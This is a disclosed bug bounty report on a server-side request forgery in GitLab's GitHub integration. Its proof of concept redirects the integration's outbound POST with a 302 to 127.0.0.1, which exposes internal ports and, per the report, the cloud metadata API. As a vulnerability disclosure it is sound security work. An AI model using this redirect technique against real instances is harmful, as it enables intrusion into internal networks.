GitLab's GitHub integration is vulnerable to SSRF vulnerability
Discovered by jobert on Gitlab

This issue took 11 Days and 9 hours to triage and 260 Days and 4 hours to close the report once triaged.



The GitHub service is vulnerable to a SSRF vulnerability. An attacker may be able to leverage this to make arbitrary POST requests in a GitLab instance's internal network. It can also be used to connect to cloud provider's instance metadata API, which may result in the ability to execute commands on the machine.

Proof of concept

In order to reproduce the SSRF, follow the steps below.

  • Sign in as any user
  • Create a new project
  • Add a .gitlab-ci.yml file with the following contents:

.gitlab-ci.yml

# This file is a template, and might need editing before it works on your project.
# see https://docs.gitlab.com/ce/ci/yaml/README.html for all available options

# you can delete this line if you're not using Docker
image: busybox:latest

before_script:
  - echo "Before script section"
  - echo "For example you might run an update here or install a build dependency"
  - echo "Or perhaps you might print out some debugging details"

after_script:
  - echo "After script section"
  - echo "For example you might do some cleanup here"

build1:
  stage: build
  script:
    - echo "Do your build here"

test1:
  stage: test
  script: 
    - echo "Do a test here"
    - echo "For example run a test suite"

test2:
  stage: test
  script: 
    - echo "Do another parallel test here"
    - echo "For example run a lint test"

deploy1:
  stage: deploy
  script:
    - echo "Do your deploy here"
  • Before a minute to make sure the pipelines are created based on the GitLab CI configuration file
  • Set up the GitHub integration and an external repository URL that is under your control (e.g. http://remote_ip/1/2)
  • Click the the Test settings and save changes button
  • Observe a request being made to the endpoint that looks something like this:
POST /api/v3/repos/1/2/statuses/5509244fe4919b85f5c1e0e1a2340805055c32d9 HTTP/1.1
Accept: application/vnd.github.v3+json
User-Agent: Octokit Ruby Gem 4.9.0
Content-Type: application/json
Authorization: token 1
Accept-Encoding: gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Connection: close
Host: remote_ip
Content-Length: 158

{"context":"ci/gitlab/master","description":"Pipeline passed on GitLab","target_url":"https://gitlab.com/jobertabma/123/pipelines/36992118","state":"success"}
  • respond with a 302 Found response that redirects back to the internal network using the Location header:

Response

HTTP/1.1 302 Found
Location: http://127.0.0.1/
Connection: Close
Content-Length: 0
  • Observe the response of 127.0.0.1 (port 80) being returned in the UI through the error message:

{F377195}

  • Or, port 8080:

{F377196}

  • Or, port 22:

{F377197}

Impact

An attacker may be able to leverage this to make arbitrary POST requests in a GitLab instance's internal network. It can also be used to connect to cloud provider's instance metadata API, which may result in the ability to execute commands on the machine.